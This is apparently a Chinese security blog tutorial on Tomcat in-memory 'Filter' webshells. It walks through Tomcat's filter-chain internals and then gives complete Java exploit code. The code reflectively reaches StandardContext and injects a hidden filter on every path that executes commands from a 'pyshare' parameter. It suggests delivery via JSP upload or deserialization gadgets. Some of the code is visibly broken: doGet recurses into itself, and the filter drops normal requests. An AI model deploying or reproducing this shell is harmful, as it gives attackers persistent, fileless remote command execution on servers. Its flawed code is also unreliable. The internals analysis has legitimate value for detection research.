Filter内存马0x01Filter机制分析

  • 当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
  • 但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。
  • 只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能

我们创建一个Filter来进行动态调试

public class Filterdemo1 implements Filter {    @Override    public void init(FilterConfig filterConfig) throws ServletException {        System.out.println("构造初始化完成");    }    @Override    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {        System.out.println("执行了过滤操作");        filterChain.doFilter(servletRequest,servletResponse);    }    @Override    public void destroy() {        System.out.println("执行了销毁操作");    }}

在filterChain.doFilter(servletRequest,servletResponse);设置断点

步入后是执行doFilter方法继续步进

这个时候直接跳到了最后

继续步入,发现这个时候我们有个叫做filters的属性,然后里面有两个对象一个是我们自己创建的filterdemo另一个是一个叫tomcat websocket filter的对象,可以从名字中看出来tomcat会自动创建一个filter

看后面有个变量filters

追进去随后出来发现我们拿到的第一个filter使我们的filter继续往下走

随后调用了doFilter方法

继续往下走随后又回到了开始的地方

这个时候pos就等于2了代表我们拿到就是Tomcat WebScoket

步入到后面就调用了servlet的service方法

总体来说

执行的顺序就是那个filter链子然后tomcat会自动的再后面调用Tomcat自带的filter就会调用到serlvet

0x02Filter写马分析

​ 分析之前先确定一下我们的目的我们的目的是写一个filter马,所以要去搞定怎么用我们传入的参数去创建一个filter

0x1创建filter

这些invoke是执行函数我们在最远的地方设置一个断点然后一步往前走发现,

我们看到现在的类是 StandardEngineValve,对应的 Pipeline 就是 EnginePipeline;它进行了 invoke() 方法的调用,这个 invoke() 方法的调用的目的地是 AbstractAccessLogValve 类的 invoke() 方法。其实这一步已经安排了一个 request, wrapper, servlet 传递的顺序。然后就网上一直调用

这里用个师傅的图:

随后我们看dofilter是怎么调用的

看到我们的FilterChain是怎么创建的

在这里是先判断了 FilterMaps 是否为空,若为空则会调用context.findFilterMaps()StandardContext寻找并且返回一个FilterMap数组。看后面的构造

遍历StandardContext.filterMaps得到filter与URL的映射关系并通过,然后通过一系列的匹配把它加入到StandardContext.filterConfigs随后调用findFilterConfig把这个数据加入到filter链里面去

0x2构造分析

流程很清晰,Tomcat会通过invoke方法创建一个filterchain然后doFilter() —-> internalDoFilter() —-> doFilter()这样执行一个doFilter判断一次,最后一个会跳到servlet.service(),

然后filter的创建思路是

我们攻击的思路就是 createFilterChain() 这个方法会判断filterMaps是否为空,如果是空的话回去StandardContext寻找并且返回一个FilterMap数组,遍历StandardContext.filterMaps得到filter与URL的映射关系然后用matchDispatcher()``matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象

这样说下来就是我们要解决两个点一个是filtermaps,和filterconfigs都要加入我们构造的filter

而这个 filterMaps 中的数据对应 web.xml 中的 filter-mapping 标签,对应的是名字和映射路径,然后就是想办法给它加数据了

然后在类StandardContext 里面有这两个方法可以直接加进去这个数据

这里的改filtermaps就是更改webxml里面的配置看一下

StandardContext 这个类是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系。

里面有三个和Filter有关的成员变量:

filterMaps变量:包含所有过滤器的URL映射关系 filterDefs变量:包含所有过滤器包括实例内部等变量 filterConfigs变量:包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理

filterConfigs 成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。

存在的包含关系

filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据

filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系

0x03exp构造

这里我怎么去动态的写入马呢

  • 先去获取StandardContext

    • 获取filterConfigs
  • 构造恶意的filter

    • 构造一个filterDef
    • FilterMaps对象
  • 然后把filter,filterDef,FilterMaps都传入到filterConfigs中

    0x1获取StandrdContext

    ServletContext servletContext = req.getServletContext();            ApplicationContextFacade contextFacade = (ApplicationContextFacade) servletContext;            Field applicationContextField = ApplicationContextFacade.class.getDeclaredField("context");            applicationContextField.setAccessible(true);            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(contextFacade);            Field field = ApplicationContext.class.getDeclaredField("context");            field.setAccessible(true);            StandardContext standardContext = null;            standardContext = (StandardContext) field.get(applicationContext);            Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");            filterConfigs.setAccessible(true);            Map configs = (Map) filterConfigs.get(standardContext);

    解释一下:在tomcat中ServletContext的实现是ApplicationContext。在Web应用中,获取的ServletContext实际上是ApplicationContextFacade的对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,。

    拿的顺序就是ServletContext—-ApplicationContextFacade——ApplicationContext—–StandardContext—–filterConfigs

    0x2写马

    写马,在dofilter中写

     public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException {                        String cmd;                        if ((cmd = servletRequest.getParameter("pyshare")) != null) {                            Process process = Runtime.getRuntime().exec(cmd);                            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(                                    new java.io.InputStreamReader(process.getInputStream()));                            StringBuilder stringBuilder = new StringBuilder();                            String line;                            while ((line = bufferedReader.readLine()) != null) {                                stringBuilder.append(line + '\n');                            }                            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());                            servletResponse.getOutputStream().flush();                            servletResponse.getOutputStream().close();                            return;                        }                            }

    反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去

    FilterDef filterDef = new FilterDef();                filterDef.setFilter(filter);                filterDef.setFilterName(name);                filterDef.setFilterClass(filter.getClass().getName());                standardContext.addFilterDef(filterDef);                FilterMap filterMap = new FilterMap();                filterMap.setFilterName(name);                filterMap.setDispatcher(DispatcherType.REQUEST.name());                filterMap.addURLPattern("/*");                /**                 * 将filtermap 添加到 filterMaps 中的第一个位置                 */                standardContext.addFilterMapBefore(filterMap);                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);                constructor.setAccessible(true);                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);                configs.put(name,filterConfig);

    0x3完整exp

public class filtershell2 extends HttpServlet {    @Override    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {            doGet(req,resp);    }    @Override    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {        try {            ServletContext servletContext = req.getServletContext();            ApplicationContextFacade contextFacade = (ApplicationContextFacade) servletContext;            Field applicationContextField = ApplicationContextFacade.class.getDeclaredField("context");            applicationContextField.setAccessible(true);            ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(contextFacade);            Field field = ApplicationContext.class.getDeclaredField("context");            field.setAccessible(true);            StandardContext standardContext = null;            standardContext = (StandardContext) field.get(applicationContext);            Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");            filterConfigs.setAccessible(true);            Map configs = (Map) filterConfigs.get(standardContext);            String name ="white_romm";            if (configs.get(name)==null){                Filter filter=new Filter(){                    @Override                    public void init(FilterConfig filterConfig) throws ServletException {                    }                    @Override                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException {                        String cmd;                        if ((cmd = servletRequest.getParameter("pyshare")) != null) {                            Process process = Runtime.getRuntime().exec(cmd);                            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(                                    new java.io.InputStreamReader(process.getInputStream()));                            StringBuilder stringBuilder = new StringBuilder();                            String line;                            while ((line = bufferedReader.readLine()) != null) {                                stringBuilder.append(line + '\n');                            }                            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());                            servletResponse.getOutputStream().flush();                            servletResponse.getOutputStream().close();                            return;                        }                    }                    @Override                    public void destroy() {                    }                };                FilterDef filterDef = new FilterDef();                filterDef.setFilter(filter);                filterDef.setFilterName(name);                filterDef.setFilterClass(filter.getClass().getName());                standardContext.addFilterDef(filterDef);                FilterMap filterMap = new FilterMap();                filterMap.setFilterName(name);                filterMap.setDispatcher(DispatcherType.REQUEST.name());                filterMap.addURLPattern("/*");                /**                 * 将filtermap 添加到 filterMaps 中的第一个位置                 */                standardContext.addFilterMapBefore(filterMap);                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);                constructor.setAccessible(true);                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);                configs.put(name,filterConfig);            }        } catch (IllegalAccessException | NoSuchFieldException e) {            throw new RuntimeException(e);        } catch (InvocationTargetException e) {            throw new RuntimeException(e);        } catch (NoSuchMethodException e) {            throw new RuntimeException(e);        } catch (InstantiationException e) {            throw new RuntimeException(e);        }    }}

把这个对象打进tomcat然后访问一下我们的servlet的路径shell之后无论在那个路径使用马子都可以pyshare

0x04小结

总结下来就是要去获取StandardContext,然后利用反射的原理往里面注入一个Servlet,表现形式为 Filter。具体的实施可以是上传 .jsp 文件,也可以反序列化注入对象,比如说我们的cc11就可用加载字节码文件把他写到静态代码块中。